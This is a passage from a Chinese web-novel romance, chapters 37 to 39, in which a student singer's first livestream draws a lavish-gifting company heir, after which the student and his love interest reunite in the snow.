【向日葵:你大概什么时候回家过年啊,要不要在南城留个几天,哥给你介绍几个专业摄影师?对了,最近吃到一家特别好吃的法餐,你说不定会喜欢那里的甜品……】 怎么感觉向炎这么热情,就算热脸贴冷屁股也不放弃,一次又一次地约他吃饭呢? 陶真明天就要回家了,按照前几次的话术又拒绝了一遍,都有点不好意思了。关上手机,才注意到了一旁的祝闻声。 黑发青年微微垂着眼,黑色瞳眸格外沉静,微微抿着唇,神态一派平静淡漠。 陶真没意识到他有什么不对劲,想着下午考试的时间快要到了,便匆匆忙忙地拉着他一块出了食堂,各自奔赴考场。 形势与政策是开卷考试,带着资料写一千字小作文很轻松,大部分学生都在一个小时内完成了。 而这最后一门考完,也意味着寒假正式拉开了帷幕。 陶真回家收拾了一晚上行李,第二天早上跟祝闻声说了拜拜,才踏上了回宣城的飞机。 南城和宣城之间几百公里的距离,飞机两三个小时就已经到达了目的地。他出来,立刻就看见一个人高马大的中年男人在车旁翘首以盼。 陶大俊得知他要回来,特意把手头的工作推了,早早到机场亲自等他。 陶真高高兴兴地跑过去:“爸!” “哎!我儿啊!” 陶大俊身上围着陶真给他买的那条皮带,乐呵呵地接过陶真的行李,收拾完了才跟他一块上车,问他这半年在外面上大学的感觉怎么样。 虽然平常打电话的时候就已经聊过了,但看见真人以后,陶真还是不厌其烦地、滔滔不绝地讲了一遍,尤其提了一下自己在网上当博主的事情。 他的眼睛极亮,说到兴奋的地方几乎要手舞足蹈,想起那些姑娘们给他画的同人图时又感动得鼻子酸。 陶大俊一直都笑呵呵地听着,到最后,目光里带着些许说不出的意味,伸手拍了拍陶真的后背,叹息似的开口:“儿啊,爸爸想跟你再说一声对不起。” 陶真比划的手顿在原地,微微一愣:“爸,你说这个干嘛?” “你不是没有天赋,你一直都有。是我和你妈不好,没有看见你这头小千里马。” 陶大俊的语速有些慢,像是在回忆什么,也像是在后悔,“如果能早一点培养你,你说不定就不会有艺考的遗憾,你能比现在跑得更快,更好……” “……” 陶真被这一句说的有些猝不及防,巨大的情绪翻涌上来,有些酸涩,又有些难言,几乎要将他淹没。 好半晌他才平复下心情,拉了拉陶大俊的手,认真地说:“不是的,爸。你们已经为我做了很多了。” 他的路,本来就应该自己走。 他的心魔,也该由他自己来克服。 回到家里以后,父子二人一块吃了顿饭,给在国外演出的林曼妙女士打了个电话报平安。饭后,陶真洗了碗,一骨碌钻进自己的房间。 房间是暖黄色装修,有书桌、飘窗、沙发,独立卫浴和会客厅,规模几乎等同于一个小型的家。墙上贴着几张歌手和剧团的海报,展示柜里整整齐齐地放着几排手办,到处充满了生活气息。 陶真拉开凳子在电脑前坐下,打开了视频网站的后台。 上次抽奖的红包已经按照承诺一个不差地发出去了,他也该兑现自己“考完一定努力”的诺言。 但现在他不在南城,没有祝闻声帮他拍视频,他只剩下两条路,要么请别人帮忙拍,要么…… 尝试一下开直播。 助理小鱼曾与他讲解过直播的流程和种种规范,也让平台给了他唱各种歌曲的版权。 开直播没有什么不好的,甚至不需要直面着任何观众,只需要对着摄像头,唯一的缺点,也许就是会被那些一条条涌出来的弹幕所影响。但陶真已经在数次发视频中,渐渐习惯了这一点。 陶真没忍住咽了一下口水,心脏渐渐地跳得越来越快。 下一刻,他的身体似乎比大脑更先做出了反应,摁下了后台的直播按钮。 “叮咚~” 【您关注的博主[真知棒]开播啦!快来看看吧~】 另一头,刚到公司坐下的祝闻声听见消息提示音,翻阅资料的动作微微一顿。 他本想直接点进去,又看了一眼右上角的十格电,最终还是直接打开了工位的电脑,点进了直播间。 出现在他眼前的是一个相当漂亮的金发少年,少年似乎并没有用任何平台的美颜和打灯设备,就只是开着房间的灯,用电脑摄像头对着自己,可即使这样,依然能看得出容貌到底有多优越。 他看起来似乎有些紧张,略微不安地舔了舔唇,小声问:“那个,大家能听得见我说话吗?” 【[Z]进入了直播间。】 【Z:嗯,听得见。】 看见这条弹幕,陶真略微松了口气,眉眼弯弯地笑起来:“听得见就好……” 【真知棒yyds:啊啊啊啊啊啊啊啊宝宝你怎么开直播了!你考完试了吗!!】 【谁偷我外卖了:?卧槽,长得好漂亮,新人颜值主播吗?】 “嗯嗯,考完试了,现在放寒假啦!” “不是颜值主播,是唱歌博主。” 【真知棒yyds:啊啊啊啊啊宝宝我想点歌!要送多少礼物才可以点歌呀?】 【用户jahalahs:天哪,主播视频和直播没区别,怎么长这么牛逼!但怎么连个打光灯和麦克风都没有?】 “不用送多少!免费的小花就行,你想听什么歌?” 陶真不好意思地挠了挠脸颊,“谢谢夸奖,今天本来就想随便播播的,可能过一会就下线了……” 毕竟是刚刚开播,平台并没有给多少推流,一开始的直播间里只有大概几十个人。陶真跟弹幕聊了一会,又唱了几首指定的歌曲,渐渐地,紧张的心情顿时减轻了不少。 然而约莫半个小时过后,他的屏幕上突然炸响了一个浮夸的特效礼物,巨大的蓝紫色灯牌缓缓浮现,带着闪烁特效的“嘉年华”三个字缓缓地浮现了出来。 祝闻声指尖的钢笔略微一顿,抬眼望去。 【向日葵送出礼物:嘉年华x1】 【向日葵:哇塞~真知棒怎么开直播都没跟我说一声,我帮你宣传宣传啊!】 【向日葵:我也想点歌,点一首“咱们结婚吧”行不行?】 37 ? 第 37 章 ◎也是那天晚上,被他不小心扇了一巴掌的太子爷。◎ “咚咚”两声, 助理略微有些紧张地敲响了办公室的门,屏息凝神等待了半晌,终于听见了一声“请进”。 她轻手轻脚地拧开把手, 往里走了两步:“打扰了小祝总,我这里有几份文件需要您过目一下, 请问您现在有时间……吗……?” 最后一个“吗”字颤颤巍巍的,因为办公桌前,一向冷静自持、好像对什么都不甚在意的小祝总, 这会儿正牢牢地盯着电脑屏幕。 他看起来心情很差,攥着钢笔的那只手青筋凸显, 好半晌才回过神:“放下吧,谢谢。” 助理应了一声,眼观鼻鼻观心地走到办公桌前,一边整理那一叠资料, 一边忍不住腹诽:感觉祝闻声的脸色比处理那几个高高在上的老油条的时候还要难看。到底是谁惹着他了?比那些老头还讨厌吗? 她的大脑飞速运转, 却没想出个所以然来, 略微有些遗憾地站起身子。然而就在她往后退、准备离开时,视线却不经意地瞥见了电脑上的页面—— 屏幕上是一个唇红齿白的金发少年, 极为漂亮。 正是最近很火的博主,祝闻声亲自负责签约手续的“真知棒”。 助理整个人一僵, 若无其事地退出办公室,礼貌地关上大门。 然而一转身,她却按捺不住自己的好奇心,飞速跑到卫生间掏出了手机。 【[烦人同事在天堂]进入直播间】 【系统提示:直播间在线人数已达到1000人。平台严禁出现违法违规、低俗色情、吸烟酗酒、人身伤害等内容。如主播在直播过程中以不正当方式诱导打赏……】 “欢迎大家进入我的直播间,谢谢向日葵打赏的嘉年华。” 陶真看着突然涌入直播间的一大批人, 略微有些紧张地坐直了身子, “不过, 这首歌……” 他陷入了迟疑,视线在那一条条滚动的弹幕上滑过。 【蓝莓奶绿:我笑死了,哪个天才想起来让主播唱“咱们结婚吧”?这对吗孩子?】 【盐都不盐了:……我记得主播明确说过自己有对象的吧,点这首歌是不是不太好啊?】 【追随向日葵:不是,一个嘉年华都砸下去了啊,还不能随便点歌了?再说了,这明显就是开个玩笑啊,那么认真地上纲上线干什么?】 【向小葵加油吖:就是啊,向日葵在哪里我就在哪里嘻嘻,咱们小葵就是人美心善哈,过来给朋友撑场子还要投嘉年华,这种朋友我也想要……】 【真摄情能不能do给我看:??向日葵的粉丝能打住吗?真把别人的直播间当你们家了?】 【说的这么振振有词,你们自家主子能不能立刻澄清一下自己是在开玩笑呢?明知道别人有男朋友还说这种话,换到你们自己身上试试看呢?】 刹那间,心中略微有些诡异的违和感终于找到了来源。陶真盯着这条弹幕看了几秒,抬起头,略微有些歉意地对摄像头笑了一下: “……不好意思啊向哥,我只听过这首歌,但是没学过,唱得不太好,能不能换一首?” 他一开口,原本差一点就要吵起来的弹幕滚动速度慢了一些,大家纷纷屏息凝神,等待向日葵的回复。 【向日葵:好吧,那就换一首。唱你主页那首《宝贝》给我听?】 【向日葵:这首总不能不会了吧哈哈哈哈哈!】 【追随向日葵:支持!就把你们直播间当自己家又怎么样了?那些真知棒的粉丝们,不让向日葵点歌,麻烦先刷的钱比他多好吗?】 【向小葵加油吖:什么“换到自己身上试试看”,一个嘉年华换一首歌还矫情上了,可笑……】 “……” 陶真抿了抿唇,只感觉心里那股不舒服的感觉越来越浓重。他不是不愿意给直播间里面的观众唱《咱们结婚吧》或者《宝贝》这种小甜歌,可是给观众们唱,和被专门“点”来给一个人唱的含义是不同的。 再联想到之前,向日葵反复约他出去玩,三番两次炫耀夸赞自己的财力……如今想来,大有一副孔雀开屏的意味。 陶真深吸了一口气,已经能预料到小鱼要怎么跟他尖叫了,但还是决定遵从自己的本心:“不好意思,我觉得……” 话音未落,屏幕上突然又弹出来了一个浮夸到炸裂的特效,满屏的巨大烟花炸开,璀璨的星海紧随其后,几乎在一瞬间清空了弹幕。如梦似幻的云朵将陶真包围在其中,就好像将他托在王座上。 可这还不够,持续足足十五秒的特效消失后,新的礼物特效又来了。接二连三,屏幕上映着耀眼的星辉,人气榜在一瞬间冲到了平台首页,不少路人好奇地点进来看,就被这恐怖的实力吓了一大跳。 【Z送出礼物:至尊守护x1】 【Z送出礼物:至尊守护x2】 【Z送出礼物:至尊守护x3】 【Z……】 至尊守护,是账号到达一定等级才会有的商店里才会出现的礼物类别。一个要人民币一万五千块。 而这个“Z”一出手,就眼睛都不眨地送了十个。也就是人民币十五万,相当于五十个三千块的嘉年华。 两分钟,砸水漂似的砸了这么多钱。 连陶真这个向来出手阔绰的富二代都有些吃惊,难以置信地盯着屏幕看了半晌,条件反射地打断道:“等等,别送了……真的别送了!!” 闻言,Z送礼的动作才停了下来。几秒钟之后,他发出一条背景极其醒目的黑色弹幕。 【Z:我刷得比他多了,现在能让我点歌了么?】 弹幕呆了一瞬,下一秒就炸了。 问号一连串地刷屏,大家的词库里只剩下了卧槽。向日葵的粉丝们也偃旗息鼓,没人敢再提刚刚被他们挂在嘴边的那一个嘉年华。 向炎嘴角叼着的烟也“啪嗒”一下掉到了桌边,他猛地靠近电脑,胡乱地掸去烟灰,不信邪似的点进那个“Z”的主页看了半晌,在看清那上面的认证时,整个人的脸色煞白,有些呆滞地愣在原地,顿时连一个屁也不敢放了。 【Z:十个至尊守护,换一首歌,好不好?】 陶真依然有些呆滞,视线落在那条黑色弹幕上,半晌才如梦初醒般眨了眨眼。 他想起来了,这个Z,是他刚开播的时候,第一个出现在直播间的粉丝。 “谢谢Z,谢谢你一开始就到我的直播间,但你真的刷得太多了,不用花这么多钱,”陶真缓了缓,“你,你想听什么歌?” 滚动刷屏的弹幕稍微停歇了一些,大家都在等待这位Z开口,有些好奇,他花这么多钱把向日葵顶下来,到底是真摄情CP粉……还是单纯想自己“上位”。 然而几秒之后,所有人都愣住了。 一条黑色的弹幕缓缓浮现,上面显示的是一串绝大部分人都看不懂的文字—— 一首很小众的法文歌。 弹幕忍不住刷起了问号和“这是什么”,可陶真的眼睛却渐渐亮了,他有些惊喜地提高了声音:“你也喜欢这首歌吗!这也是我在《暗涌》里最喜欢的曲子,超级无敌爆炸好听,我妈……额,林曼妙女士的演绎简直绝了!天哪,我很少碰见有听过这首歌的人……” “虽然、虽然我应该没法像她那样唱那么好,但我会尽力的!” 他眼睛亮晶晶的,像得意洋洋的小猫,乐滋滋地点开了自己的收藏夹,迅速将这首歌调了出来。 直播间观众们略微有些懵逼,不由自主地靠近了屏幕,心中难免带了些怀疑——陶真这种只唱流行歌的博主能唱这种极其复杂、外文歌词的音乐剧目吗? 没等他们发出疑问,下一刻,流水般的乐声立刻响起。 而金发少年闭了闭眼,整个人的气质在一瞬间变得不一样了。 他的声音清朗,犹如大珠小珠落玉盘;每个音调都踩得极准,极有力道,纯正地道的法文发音竟然没有任何卡顿。 众人在最初的震惊过后,不免认真起来,自然而然地被他带入了《暗涌》的世界。 直到一曲毕,许多人还没回过神来,听得头皮发麻,感觉自己好像踩在云朵上,过了好半晌才尖叫着打出一整串的“啊啊啊啊”。 【蓝莓奶绿:妈妈我不需要去卢浮宫了,我已经遇到我的蒙娜丽莎了。】 【啦啦啦:这年头真好,不需要买票也能看到这么好的演出,哎。】 【曼妙喵喵:我去,是我眼花吗?竟然在首页刷到了主播在唱暗涌的曲子?!欢迎大家入坑了解“在人间”剧团,这首歌的原唱是林曼妙,一个特别特别有实力的音乐剧演员……】 陶真也深深地吐出一口气,视线落在滚动的弹幕上,感觉自己的心脏在扑腾扑腾地狂跳。 他有些开心,有些想笑,心里的那股情绪几乎快要翻涌出来,今天这场直播已经完全超出了他的预期,从前,他从未想过自己能开直播,在屏幕那一头那么多人的面前演唱任何一首歌。 可现在他做到了。 唱的竟然还是林曼妙原唱的歌。 再次和大家道谢之后,他便先结束了直播,坐在椅子上缓了缓,按住过速的心脏。 打开微信,就发现助理小鱼跟疯了一样给他发了许多消息,几乎要把他的微信堆成99+,从一开始向日葵出来的无助,到Z强势出现的刷屏啊啊啊,最后,不知她到底发现了什么,感觉整个人都丧失了语言能力。 陶真乐了,正准备问她怎么了,就发现她甩了张截图来。 【[Z] 用户认证:Z时代总经理】 “……” 陶真呆住,身体猛地向前。 是的,没看错。“Z”,就是Z时代的大领导,总经理。 当然,也是那天晚上,被他不小心扇了一巴掌的太子爷。 38 ? 第 38 章 ◎我也想你了。◎ “……” 陶真瞬间头皮发麻, 像是高中上课玩手机、一抬头就跟班级后门的班主任对视了一样。 刚刚全程都蹲在他直播间里,帮他压下了向炎,还一口气给他投了15万礼物的人, 竟然是他的顶头BOSS太子爷。 这合理吗?这对吗? 太子爷不应该记恨他那一巴掌吗,为什么还会对他这么好? 难道说…… 陶真绞尽脑汁, 忽然想起了那天祝闻声对他说的话,呼吸骤然急促—— 太子爷喜欢被人打? 只是苦于地位身份太高,没有被别人揍过, 现在骤然一下子被人打了,感觉分外新鲜, 所以开发了自己以前不为人知的癖好……打住!打住! 陶真猛地拍了拍脑袋,试图将里面乱七八糟的念头全都清出去。不管太子爷到底是什么想法,喜欢被打也好、单纯钱多撒着玩也好,小鱼都催着他赶快去打个招呼, 毕竟现在他是Z时代的一份子。 陶真挠了挠脸颊, 打开了网站后台, 从上一场直播的榜单里找到“Z”,删删改改半天, 终于发出去了一句问候。 【真知棒:老板你好,我是陶真。非常感谢你对我直播的支持, 但是你今天给我送的礼物太多了,我给你退回去一些可以吗?】 一、二、三,四…… 还没数到五,就听见了叮咚一声。陶真一怔,立刻俯身凑近手机。 【Z:不可以。】 【Z:陶真, 不要轻易在网络上私信别人, 尤其是暴露你的真名。】 “……” 骤然被叫到名字, 陶真心里咯噔一跳,盯着这行字看了半晌,有点没反应过来。 说不清为什么,他觉得,屏幕对面的这位太子爷,似乎心情不是很好的样子。 【真知棒:谢谢,不过我一般不会这么做的。只是因为您是老板——】 【Z:是老板就可以了吗?你怎么确定掌握这个账号的到底是人是鬼?到底对你有什么目的?】 【Z:而且你是一个自由的音乐博主,没有人有资格要求你下播以后还要去维护和粉丝之间的人际关系。你只需要唱你想唱的歌,做你想做的事情就好,不要在意别人怎么说。】 一连串的话砸下来,直接将陶真砸懵了,然而“Z”说的话的的确确都是为了他好,他想了半天,只好有些讪讪地回复:【我知道了。】 金发少年从椅子一个骨碌翻身上床,忍不住扣了扣床单和被角,总感觉心头泛起了一股莫名其妙的熟悉感…… 而“Z”那边似乎也意识到自己说多了,沉默了几秒。片刻后,才重新问了一个有些突兀的问题。 【Z:你以后是想一直做直播吗?】 陶真垂下眼,慢慢地抿紧了唇,思索了片刻才回道:【应该不是。】 祝闻声鼓励他勇敢一些,鼓励他努力去追逐梦想。直播只是他踏上追逐的第一步而已,他不会仅仅停留在这里。毕竟他真正的心魔,其实是不能在人前演唱。 而他真正的梦想,是站在林曼妙旁边,与她一起,唱那首他练习过无数次的《暗涌》。 【Z:那,你还需要你男朋友么?】 “……” 话题怎么会忽然岔到这儿了?! 陶真骤然松开了被他攥得皱巴巴、像个咸菜干似的被角,忍不住睁大了眼,条件反射似的打字:【当然需要!你怎么会问这个?】 “Z”变成了“对方正在输入中”,过了半晌才回复了一句。 【Z:我以为你会请更加专业的摄影师。】 陶真一怔,想起前段时间向炎总三天两头给他发某某某大神的御用摄影师,问他需不需要推荐。 就连助理小鱼前两天还无意识地提了一嘴,若是以后把粉丝量做得更大一些,他可能需要更专业的后期团队,包括摄影…… 【真知棒:不,我不会请。】 【真知棒:虽然以后我有可能会在别人面前唱歌,也有可能需要一些专业团队的帮忙,可我的视频永远只会是我男朋友帮我拍。】 【真知棒:因为他是我的第一名。】 屏幕那头似乎怔住了,久久没有回复。 倒是陶真自己,“慷慨激昂”地在陌生人面前打了这么一大段出来,回过神时几乎想找个地缝钻进去,好半晌才颤颤巍巍地又添了一句: 【……当然,这只是我自己说的。说实话,我觉得一直替我拍视频也挺烦的,这一切还得看我男朋友愿不愿意……】 【Z:他会愿意的。】 【Z:真的。】 盯着屏幕上弹出来的两个对话框看了几秒,陶真眨了眨眼。 很奇怪,明明“Z”——这位太子爷——跟他和祝闻声一点关系都没有,可陶真却觉得自己似乎被这么言之凿凿的话感染了,情不自禁地想到祝闻声昨天说的那句话。 ——有没有一种可能,他真的不是在开玩笑? 心跳的速度稍微有些快,陶真没有再继续想下去,暂时终止了和这位太子爷的聊天,跟焦急等待的小鱼说了一声。 在去找祝闻声叽叽喳喳之前,他又忽然想起了什么,找到向炎的聊天框,把那嘉年华的三千块钱打了回去- 接下来的几天,陶真买齐了一般主播直播要用的摄像头、麦克风和灯光,认认真真地布置好了自己的直播间。 考虑到这段时间刚好寒假放假在家,他也没什么事情做,干脆每天都固定时间直播几个小时。 他本身粉丝也不少,再通过tag宣传一波,渐渐地,每天刚开播就能一下子涌进一千人。良性循环,直播间的人气越来越旺,进来的人就越来越多,最高峰时可以达到将近一万人。虽然持续不了多久,但这也是在刚开播的小主播当中相当难得的了。 而且陶真向来是一个活泼健谈的人,不少直播间里原本只是看看热闹的路人,到最后一场直播下来就会被他圈粉。不过大半个月,他就又涨了三四十万粉丝。 大家当然是为陶真感到高兴的,然而眼见着他每天都窝在家里搞直播,从回家到现在还没正儿八经地出来玩过一趟,佟夏和顾行舟终于受不了了。 趁着腊月二十五那天,陶大俊住在公司里干活,他们两人便直接杀去了陶家,把陶真硬生生地拉了出来。 佟夏大吼:“陶小真!放假到现在了,你就不想我们俩?!” “懂不懂什么叫做劳逸结合?”顾行舟的语气也十分哀怨,“你又不缺直播这点钱,都快过年了,给自己歇几天呗。” 被两个发小拧着耳朵骂了两句,陶真反思了一下,也觉得自己这段时间一门心思都扑在直播上,的确宅得有些过分了。 他对自己的行为表示忏悔:“我错了,之后肯定休息……咱们今天去哪儿玩?” 宣城的天气不同于南城,乍然走出家门,扑进近乎刺骨的寒风里,冻得人忍不住直打哆嗦,眼看着天边厚重的云层压低,是要下今年冬天的第一场雪了。 佟夏和顾行舟在外面站了一会,也打消了去露天乐园的念头,干脆带他去了一家朋友新开的清吧。 这里面的装修是英伦风,四处都是木质桌椅,地上还铺着花纹繁复的毛毯。三人在最好的位置坐下,身旁就是一扇雕刻着向日葵的玻璃彩窗。 在等服务员过来给他们上酒和小食的间隙,陶真饶有兴致地盯着这扇漂亮的窗户看了半晌,掏出手机拍了张照片发给了祝闻声。 这段时间他总是这样,不管是在网上看见了什么有趣的东西,或只是今天吃了什么、喝了什么,都会条件反射地和祝闻声分享。 他本以为只有自己一个人会这样,却没想到一转头,就见身旁的佟夏和他一样。女孩把身上的大衣一脱,美美地和身后精致的古董挂钟合影了两张,就给置顶的联系人发了过去,脸上挂着甜蜜的笑容,哒哒哒地打字。 “哎哎哎!” 顾行舟不悦地拍了下桌子:“都干嘛呢!说好了我们三个出来聊聊天的,你们两个夹带私货的把手机交出来!” 说着,他就以一个扭曲的姿态伸手来抢,陶真怕他闪着老腰,干脆地将手机交了上去,佟夏闻言却冲他做了个鬼脸,把消息发完以后才勉勉强强地把手机放到桌子的最中央,眼睛还依依不舍地盯着屏幕:“哎哟,只是发个消息而已,又不是不跟你聊天了……” 顾行舟哼了一声,刚好这会酒和小食都陆陆续续地上来了,三人便一块碰了杯。 这么长时间没见,在一起能谈论的话题可不少,从大学里的八卦到从前初高中的同学,一聊起来几乎没完没了,不知不觉就谈到了兴头上。 再加上清吧里的驻唱歌手抱着吉他弹得昏天黑地,整个场子里有些吵嚷,一时间,谁也没顾得上看手机。 于是,直到桌上的小食吃完了,准备扫码再加一点的时候,佟夏才发现屏幕上有几个鲜红的未接来电。 她毫无形象地“卧槽”了一声,一个激灵站了起来,立刻解开手机重新拨了回去,“嘟嘟”响了两声,那头的人立刻接了。 “喂宝贝?”她有些讪讪,放轻了声音,冲电话那头撒娇,“对不起呀,我刚刚一直都没看手机~” 顾行舟“噗”地一口把嘴里的酒吐回了杯子里,陶真也险险地呛了两口,两人不约而同地看向佟夏。 宝贝?什么宝贝? 佟夏竟然谈恋爱了,还不告诉他们?! “嗯,真的呀。你放心,我不是一个人出来哒,真宝和子涵都在我旁边呢……” 沐浴在顾行舟和陶真两人灼灼的视线下,佟夏硬着头皮继续打电话,她努力拉长了尾音,“真的呀!不用担心,真宝的酒量特别好,无论如何都不会醉,所以我们好安全的呀……啊,你想跟他们说声谢谢吗?唔……不是不行,行行行……” 佟夏咬住下唇,不知听见了什么,抬起头看了眼陶真和顾行舟,以一个视死如归的神情,将手机摁了免提。 “陶真和行舟你们好呀,我是江姗,很抱歉我们两个人谈恋爱的消息夏夏还没有和你们讲过,主要我们也刚刚确定下来……” 熟悉含笑的女音响起,被话筒滤得有些模糊,依然遮掩不了那优雅的气质,“非常感谢你们照顾夏夏,让她稍微少喝一点酒哦,拜托了。” “……” 顾行舟和陶真从女人刚开口那一刻就已经呆了,只能凭着机械的本能:“啊、啊,好好好……” 佟夏立刻关了免提,又举起手机跟那头说了些什么,才如释重负般挂断了电话,尬笑着看向两人。 他们这才如梦初醒般回过神:“佟!夏!” 顾行舟咬牙切齿地说:“卧槽,到底是不是姐们儿了你?!竟然连谈恋爱这种事都不说!” “就是啊夏夏!你们什么时候在一块的?”陶真更是一脸震惊,“你之前不是说江姗是直女吗?她请你去她房间洗澡也只是直女的把戏……那你怎么跟直女在一块了?” 佟夏格外心虚地笑了笑:“不就是怕你们问我这个,我才不太好意思说吗。” “其实我真的一直都是把姗姗当成直女来看的,毕竟她之前谈过男朋友啊,我从来没想过她可能会和我在一起。但是那天晚上,我们社团聚餐,大家一块玩真心话大冒险。” “第一轮,我抽中真心话,大家问在场有没有我喜欢的人,我说有。第二轮,她抽中大冒险,大家让她去亲一个喜欢的人。” “她什么也没做,只是侧过身,温柔地望着我,问我喜欢的那个人是不是她。” “我脑袋嗡一下就炸了,条件反射地点了点头,下一秒就看见她亲下来……” 说到这儿,佟夏莫名有些激动起来:“她亲我!她也喜欢我,愿意跟我在一起!我他大爷的还能拒绝吗!谁拒绝谁是傻子好么?” “……” 顾行舟无力反驳,一连“啧”了好几声,羡慕嫉妒恨似的锤了佟夏一拳。 陶真听着却有些发愣,心脏不自觉地加快速度。他舔了舔干燥的唇瓣,小声地说:“所以,这个‘直’女,‘直’男……也许并不是固定的,对吗?” 佟夏赞同地点了点头。 陶真继续喃喃:“所以,他的亲近,也不一定是直男的把戏……” ——“真宝,你很乖。” ——“你就在这里,我也可以解决的。” ——“陶真,我想吻你。” ——“陶真早就有男朋友了。” ——“一个寒假见不到你,更让我难过一些。” 刹那间,无数瞬间在脑海中浮现。俊美冷淡的黑发青年明明已经俯身、向他靠近了这么多次了,可他却傻到这个地步,傻到视而不见。 陶真的心脏咚咚狂跳起来,他下意识地拿起了桌上的手机,点亮屏幕,发现祝闻声已然给他发了许多消息。 【S:这扇窗户很漂亮,向日葵挺少见的。】 【S:天色似乎不太好,带雨伞了吗?】 【S:在和朋友们一起吃饭吗?】 【S:[图片]】 【S:俱乐部的普通会员区已经放假了。大海他们大概明天就走。】 【S:二月底有一场比赛,我在训练。】 【……】 陶真一条又一条地读过去,心软得一塌糊涂。他来不及看佟夏和顾行舟两人讶异的神色,拿着手机就匆匆地挤出了卡座,找到一个无人的角落,给那头拨了个电话。 仅仅过了几秒,正在训练中的祝闻声就撂下了杠铃,摁下了接通。青年才做完高强度的训练,声音还略微有些哑:“喂?真……” “祝闻声。” 陶真抿了抿唇,“我,我有点想你了。” 电话那头安静了两秒,似乎被他这一记直球打得猝不及防。 第一句话出口了,接下来的似乎也自然而然的顺畅了。 陶真干脆一鼓作气,竹筒倒豆子似的,一股脑将心里的话全都说了出来:“其实我上次就想跟你说,我不想一个寒假都见不到你,也不想你这么长时间都一个人呆着。过年这种日子,应该是热热闹闹的,而不是孤孤单单的。” “所以……”陶真深吸了一口气,“过两天我去找你,陪你提前过年,好不好?” 时间仿佛在这一刻被拉得很长,耳畔不时传来驻唱歌手拨弄着吉他的歌声,可陶真却只能听见自己近乎粗重的呼吸。 不知过了多久,久到他几乎以为对面不会回答的时候,他才终于听见祝闻声有些压抑地开口:“陶真。” “嗯?” 安静的俱乐部中,四周灯关得差不多了,只有头顶那一盏。 祝闻声安静地站在灯下,踩在黑暗里,一双幽深的瞳眸黑沉沉的,有些隐忍地确认:“真的吗?” 陶真深吸一口气,回答得很干脆:“嗯!” 空气凝滞了几秒,他听见那头极压抑地喘息一声,没有说再见就先挂断了电话。 攀升至头顶的那股热血渐渐退潮了一些,耳畔渐渐涌入了其他的声音,佟夏和顾行舟两人站在他身边,有些震惊地看着他。 被这么盯了几秒,陶真才略微感觉有点不自在,他将手机收回口袋,轻咳了两声:“怎么了?” 两人一起摇头,带着他回到卡座,拿起桌上的酒开瓶碰杯,冲他比了个大拇指。 “太牛了,我们真宝出息了。” “……” 陶真被这句话一呛,刚刚的满腔热血和激情消失得无影无踪,突然被“哐”地一下拽到了地面。 他忍不住灌了两大口啤酒清醒一下,好像刚交了卷的学生一样,在铃响后才开始思考刚刚写的题目是否正确。 自己是不是有点说得太过头了,没有循序渐进? 哪里有人谈恋爱,一上来就邀请对方跟自己一块过年的?? 若是祝闻声也有些喜欢他,愿意跟他在一起,那还好说。 若是祝闻声其实不愿意,那他简直就是“连年都不让人好好过”的金主…… 想一想陶真就觉得自己该被吊上路灯了。 陶真猛地将那一罐啤酒喝完,将易拉罐捏得变了形,不敢再去思考,只呼出一口气,继续跟顾行舟和佟夏两人喝酒。 外面的天色渐渐暗了下来,云层压得越来越低,不知不觉,他们已经在这儿待了好几个小时。酒吧里的人多了不少,驻唱歌手也换了一个,场上的气氛high了许多,他们却先撤了,去隔壁一家德式餐吧解决了夜宵。 陶真先将佟夏安全送到,才在夜幕中回家。 车外天色晦暗无光,只有路灯还在顽强振作。 周遭狂风大作,极凉,只需要吸一口就能透彻肺腑,连带着鼻腔和脸颊都失去知觉。 云似乎靠得越来越近了,渐渐地被撕成一片片,一点点地落到地上,鹅毛一样轻盈散落,铺天盖地地涌了下来。 陶真盯着那“云”怔怔地看了几秒,才反应过来,下雪了。 他抓了一把自己被吹得乱飞的金发,让司机停在别墅区外,率先下了车,一个人安静地往里走。 夜晚的世界很安静,道路两侧曾经盛开的紫薇花都凋谢了,常青松针却昂首挺立着,好似守岗的哨兵。 口袋里的手机忽然振动了一瞬,也许是佟夏或者顾行舟到家了。陶真没有拿出来看,只淋着雪,慢步往自己家门口走去。 终于到了大门口,窗户黑漆漆的,四周空荡荡的。 陶真慢吞吞地将围巾拉了下来,准备扫脸进门,却在抬眼的一刹那怔住了。 暖黄色的路灯下,站着一个俊美高挑的人影,朦胧的光勾勒出他眉眼的轮廓。 黑发黑眼的青年不知在门口等了多久,发梢、肩上已经落了一层薄薄的雪花。 陶真的心“咚咚”地狂跳起来,一瞬间几乎不敢相信自己看见了什么,半晌才快步上前,被前来迎他的祝闻声抱了个满怀:“祝闻声,你怎么…你怎么……!” 宣城今年的初雪,从两人相拥的地方簌簌而下。 祝闻声垂下眼,揉了揉陶真金色的头发,黑眸里尽是他灿烂的倒影:“抱歉陶真,我刚刚没能在电话里跟你说。” “我也想你了。” 39 ? 第 39 章 ◎爱你,宝贝。◎ 青年的双臂渐渐收紧, 两人之间的距离越来越近。宽厚温暖的胸膛隔绝了外界呼啸的寒风,耳畔只剩下了有些沉重急促的呼吸声,以及一下又一下, 越来越快的心跳。 陶真的心也无可自抑地狂跳了起来,在最初的不可置信过后, 接踵而来的是巨大的狂喜和晕眩,有些怔怔地确认:“……真的吗?” 祝闻声没有片刻犹豫:“嗯,很想你。” 一字一句, 低哑恳切。 刹那间,陶真像是被摁了暂停键一样愣在原地, 仿佛还在消化刚刚的剧情,一双圆溜溜的黑眸倒映着祝闻声的容颜。 祝闻声说自己很想他。 祝闻声跨越了几百公里到宣城来见他。 祝闻声和他之间,并不只是单纯的包.养关系,也不仅仅是直男的把戏。 ——祝闻声是真的, 喜欢他。 陶真猛地回神, 踮起脚尖, 抬手捧着祝闻声冰冷的脸颊,上去用力地亲了一口, 发出一声巨大的“啵唧”。 他眉眼弯弯地笑了,声音又轻又甜: “祝闻声, 我好喜欢你呀!” 祝闻声被这个猝不及防的亲亲弄得心头一颤,黑沉沉的视线牢牢地落在陶真的身上,不自觉地俯身,想要去碰那双殷红的唇瓣。 只是喜欢吗。 还不够。 他想要的总是更多。 漫天飞舞的雪花铺天盖地似的簌簌而下,落在两人身上, 又被体温一点点融化成水, 呼出的热气朦胧成雾。 两人之间的距离越来越近, 鼻尖几乎贴在一起。 陶真盯着祝闻声垂下的黑沉瞳孔,忽然感觉后腰攀爬起一阵酥麻的颤栗。他说不清这种异样的来源,只匆忙地眨了眨眼,忽然想起什么似的,转身扫脸开门。 “对、对了阿声,你什么时候到的?在这里待多久啦?” “叮咚”一声,别墅的铁门打开。 